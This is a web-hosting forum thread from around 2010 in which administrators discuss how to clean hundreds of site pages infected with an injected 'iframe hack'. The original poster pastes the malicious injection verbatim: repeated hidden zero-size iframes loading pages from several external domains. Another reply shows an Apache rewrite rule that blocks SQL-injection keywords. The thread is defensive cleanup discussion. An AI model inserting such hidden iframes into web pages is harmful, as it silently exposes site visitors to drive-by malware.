Community Forums
Connect with us on LinkedIn
Community Notice
+ Reply to Thread
Results 1 to 9 of 9
  1. #1
    cPanel Partner NOC cPanel Partner NOC Badge DWHS.net's Avatar
    Join Date
    Jul 2002
    Location
    LA, Costa RIca
    Posts
    1,342

    Default How can you remove the iframe hack server wide?

    I have a domain with hundreds of pages infected with the iframe hack. I need a find and replace command to remove them all.

    Anyone know of I can possibly do this?

    I tried all the suggestions on this forum and none have worked. I had simple script years ago but I can't find it unfortunately anymore.

    Thanks

  2. #2
    cPanel Partner NOC cPanel Partner NOC Badge javiercampos's Avatar
    Join Date
    Jan 2010
    Location
    /tmp
    Posts
    46
    cPanel/Enkompass Access Level

    Root Administrator

    Smile

    Quote Originally Posted by DWHS.net View Post
    I have a domain with hundreds of pages infected with the iframe hack. I need a find and replace command to remove them all.

    Anyone know of I can possibly do this?

    I tried all the suggestions on this forum and none have worked. I had simple script years ago but I can't find it unfortunately anymore.

    Thanks
    hi
    everything good writing is translated by google hehe, since I'm from chile and handling not much English but I want to help.

    looks good would recommend you first remove the general iframe mind are embedded in the index when you delete, change the access codes and install this application

    Installation » Anti-Gumblar

  3. #3
    Member Data 1's Avatar
    Join Date
    May 2008
    Posts
    102

    Default

    Quote Originally Posted by DWHS.net View Post
    I have a domain with hundreds of pages infected with the iframe hack. I need a find and replace command to remove them all.

    Anyone know of I can possibly do this?

    I tried all the suggestions on this forum and none have worked. I had simple script years ago but I can't find it unfortunately anymore.

    Thanks

    Depends on the hack. I have a file I found on the internet that cleans GNU-GPL and others with a few text changes, but to get it to work I have to make all the files writable. What I have been doing is making everything writable, running the fix file, download the directory to my computer (doubles as a virus checker also), deleting the files on the server and re uploading to reset permissions. I know it's a kludge but it has been working great. You will have to e-mail me for the file unless management don't mind me posting it here.

  4. #4
    Member ModServ's Avatar
    Join Date
    Oct 2006
    Location
    Egypt
    Posts
    225
    cPanel/Enkompass Access Level

    Root Administrator

    Default

    I tried this in httpd.conf but don't know if its working good or now

    Code:
    RewriteCond %{QUERY_STRING}    ^.*(;|<|>|'|"|\)|%0A|%0D|%22|%27|%3C|%3E|%00).*(/\*|union|select|insert|cast|set|declare|drop|update|md5|benchmark).* [NC]
    RewriteRule .* - [F]
    But after that I didn't suffer from iframe.

    ModServ for Hosting & Web Services Solutions
    URL: http://www.modserv.com.eg

  5. #5
    Member
    Join Date
    May 2008
    Posts
    1,114

    Default

    Quote Originally Posted by DWHS.net View Post
    I have a domain with hundreds of pages infected with the iframe hack. I need a find and replace command to remove them all.

    Anyone know of I can possibly do this?

    I tried all the suggestions on this forum and none have worked. I had simple script years ago but I can't find it unfortunately anymore.

    Thanks
    Kindly check the below mentioned URL which might helps you to solve your issue:

    How I used the Unix command line to do a multi-file search and replace to fix over 4,700 individual files - Gabriel - Web Design, Development and Business … infopoet

  6. #6
    cPanel Partner NOC cPanel Partner NOC Badge DWHS.net's Avatar
    Join Date
    Jul 2002
    Location
    LA, Costa RIca
    Posts
    1,342

    Default

    Quote Originally Posted by javiercampos View Post
    hi
    everything good writing is translated by google hehe, since I'm from chile and handling not much English but I want to help.

    looks good would recommend you first remove the general iframe mind are embedded in the index when you delete, change the access codes and install this application

    Installation » Anti-Gumblar
    I did this but I don't know what do after it's installed. How do I run it to remove the thousands of pages infected?

    Or is this just to prevent it?

    Also here is the code of this helps:

    <iframe src=\"http://odmarco.com/lib/index.php\" width=0 height=0 style=\"hidden\" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe><iframe src=\"http://odmarco.com/lib/index.php\" width=0 height=0 style=\"hidden\" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe><iframe src=\"http://odile-marco.com/lib/index.php\" width=0 height=0 style=\"hidden\" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe><iframe src=\"http://odile-marco.com/lib/index.php\" width=0 height=0 style=\"hidden\" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe><iframe src=\"http://odile-marco.com/lib/index.php\" width=0 height=0 style=\"hidden\" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe><iframe src=\"http://odile-marco.com/lib/index.php\" width=0 height=0 style=\"hidden\" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe><iframe src=\"http://fuadrenal.com/lib/index.php\" width=0 height=0 style=\"hidden\" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe><iframe src=\"http://fuadrenal.com/lib/index.php\" width=0 height=0 style=\"hidden\" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe><iframe src=\"http://reycross.com/lib/index.php\" width=0 height=0 style=\"hidden\" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe><iframe src=\"http://reycross.com/lib/index.php\" width=0 height=0 style=\"hidden\" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe><iframe src=\"http://davtraff.com/lib/index.php\" width=0 height=0 style=\"hidden\" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe><iframe src=\"http://davtraff.com/lib/index.php\" width=0 height=0 style=\"hidden\" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe><iframe src=\"http://odile-marco.com/lib/index.php\" width=0 height=0 style=\"hidden\" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe><iframe src=\"http://odile-marco.com/lib/index.php\" width=0 height=0 style=\"hidden\" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe><iframe src=\"http://odile-marco.com/lib/index.php\" width=0 height=0 style=\"hidden\" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe><iframe src=\"http://odile-marco.com/lib/index.php\" width=0 height=0 style=\"hidden\" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe>
    Last edited by DWHS.net; 02-09-2010 at 09:07 PM.

  7. #7
    Member
    Join Date
    Jan 2010
    Posts
    20

    Default

    Quote Originally Posted by DWHS.net View Post
    I have a domain with hundreds of pages infected with the iframe hack. I need a find and replace command to remove them all.

    Anyone know of I can possibly do this?

    I tried all the suggestions on this forum and none have worked. I had simple script years ago but I can't find it unfortunately anymore.

    Thanks
    Try using the sed command combined with find and xargs.

    Find and Replace with Sed

  8. #8
    Registered User
    Join Date
    Feb 2010
    Posts
    2

    Default

    Not sure im afraid you might have to remove the iframe manually :-(

  9. #9
    Member
    Join Date
    Oct 2004
    Posts
    124

    Default

    Hi,

    I had a similar problem and this link helped.

    Linux - Search and replace over multiple files.

Similar Threads & Tags
Similar threads

  1. Effective iframe/gumblar hack prevention?
    By Wallaby in forum Security
    Replies: 5
    Last Post: 04-30-2010, 12:36 PM
  2. IFrame Hack - Cpanel Forced Update = Fixed?
    By contemptx in forum Security
    Replies: 4
    Last Post: 10-19-2009, 05:58 PM
  3. IFrame Hack - Cpanel Forced Update = Fixed?
    By contemptx in forum cPanel and WHM Discussions
    Replies: 4
    Last Post: 10-19-2009, 05:58 PM
  4. Solution For Iframe Java Script Hack
    By apscinsspl in forum Security
    Replies: 16
    Last Post: 08-14-2009, 07:58 AM
  5. Just got hit by iframe hack on 5 boxes
    By gotroot in forum cPanel and WHM Discussions
    Replies: 3
    Last Post: 10-01-2007, 10:48 PM
Tags for this Thread
Linkedin       Facebook       Twitter       RSS       Flickr       YouTube